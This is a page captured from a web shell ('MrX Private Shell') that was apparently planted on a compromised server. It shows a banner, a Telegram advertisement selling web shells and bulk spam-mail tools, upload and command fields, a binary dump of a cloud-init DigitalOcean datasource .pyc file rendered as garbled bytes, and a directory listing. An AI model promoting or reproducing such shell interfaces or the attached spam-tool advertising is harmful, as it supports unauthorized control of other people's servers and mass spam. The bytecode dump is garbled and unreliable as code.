__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�����SSKrSSKJs Js Jr SSKJrJrJr \R"\
5rSS0rSr
SrSrSr"SS	\R"5r\\R&44/rS
rg)�N)�	lifecycle�sources�util�metadata_urlz'http://169.254.169.254/metadata/v1.json��Tc�f^�\rSrSrSrSrS\SS4U4SjjrSrS	r	S
r
Sr\S5r
S
rU=r$)�DataSourceDigitalOcean��DigitalOceanc�l�[RRXX#5 X l[	5Ul[R"[R"USS/05[/5Ul
UR5 URSUlURRS[5UlURRS[ 5UlURRS[$5UlURRS[(5UlSUlSUlg)N�
datasourcerr�retries�timeout�	use_ip4LL�
wait_retry)r�
DataSource�__init__�distro�dict�metadatar�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�
_deprecate�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_USE_IPV4LLr�
MD_WAIT_RETRYr�_network_config�
metadata_full)�self�sys_cfgr�pathss    �J/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceDigitalOcean.pyr�DataSourceDigitalOcean.__init__ s������#�#�D�6�A������
��(�(��$�$��l�N�;�R��"�	
�
���	
���� $���N� ;����{�{���y�*�=����{�{���y�*�=���������m�D����+�+�/�/�,�
�F���#���!����ci_pkl_version�returnNc�D>�[TU]U5 UR5 g�N)�super�	_unpickler)r%r+�	__class__s  �r(r0� DataSourceDigitalOcean._unpickle5s���
���.�)����r*c�0�[R"SSSS9 g)Nr
z23.2z.Deprecated in favour of DataSourceConfigDrive.)�
deprecated�deprecated_version�
extra_message)r�	deprecate�r%s r(r�!DataSourceDigitalOcean._deprecate9s�����/�%�J�	
r*c�,�[R"5$r.)�	do_helper�read_sysinfor8s r(�_get_sysinfo�#DataSourceDigitalOcean._get_sysinfo@s���%�%�'�'r*c�2�UR5upU(dg[RSU5 SnUR(a [R
"UR5n[R"URURURURS9nX@lURSU5URS'URSU5URS'URS5URS'URS	5URS
'URSS5URS
'URSS5UlURSS5UlU(a![R""URU5 g)NFz&Running on DigitalOcean. droplet_id=%s)r�sec_betweenr�
droplet_idzinstance-id�hostnamezlocal-hostname�
interfaces�public_keyszpublic-keys�region�default�availability_zone�vendor_data�	user_dataT)r=�LOG�inforr;�assign_ipv4_link_localr�
read_metadatarrrrr$rr�vendordata_raw�userdata_raw�del_ipv4_link_local)r%�is_dorA�
ipv4LL_nic�mds     r(�	_get_data� DataSourceDigitalOcean._get_dataCs;��"�/�/�1��������9�:�F��
��>�>�"�9�9�$�+�+�F�J�
�
$�
$��!�!��L�L�����L�L�	
�� ��')�v�v�l�J�'G��
�
�m�$�*,�&�&��Z�*H��
�
�&�'�&(�f�f�\�&:��
�
�l�#�')�v�v�m�'<��
�
�m�$�-/�V�V�H�i�-H��
�
�)�*� �f�f�]�D�9����F�F�;��5�����)�)�$�+�+�z�B�r*c�L�[R"UR5S5$)Nzsystem-serial-number)r�instance_id_matches_system_uuid�get_instance_id)r%r&s  r(�check_instance_id�(DataSourceDigitalOcean.check_instance_ides$���6�6�� � �"�$:�
�	
r*c�2�UR(aUR$URRS5n[R	U5 U(d[S5eURSSn[R"X5UlUR$)z�Configure the networking. This needs to be done each boot, since
the IP information may have changed due to snapshot and/or
migration.
rCz'Unable to get meta-data from server....�dns�nameservers)	r#rrrJ�debug�RuntimeErrorr$r;�convert_network_configuration)r%rCr]s   r(�network_config�%DataSourceDigitalOcean.network_configjs�������'�'�'��]�]�&�&�|�4�
��	�	�*����H�I�I��(�(��/�
�>��(�F�F�� 
����#�#�#r*)r#rrrrr$rrrrOrNr)�__name__�
__module__�__qualname__�__firstlineno__�dsnamer�intr0rr=rTrY�propertyra�__static_attributes__�
__classcell__)r1s@r(r
r
sI���
�F�"�*�����
�(� �D
�
�$��$r*r
c�8�[R"U[5$r.)r�list_from_depends�datasources)�dependss r(�get_datasource_listrp�s���$�$�W�k�:�:r*)�logging�&cloudinit.sources.helpers.digitaloceanr�helpers�digitaloceanr;�	cloudinitrr�	getLoggerrcrJrrr r"r!rr
�DEP_FILESYSTEMrnrp�r*r(�<module>rys����:�:�.�.�
����!���=����
�
�
��
��
�a$�W�/�/�a$�L�g�4�4�6�7���;r*

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager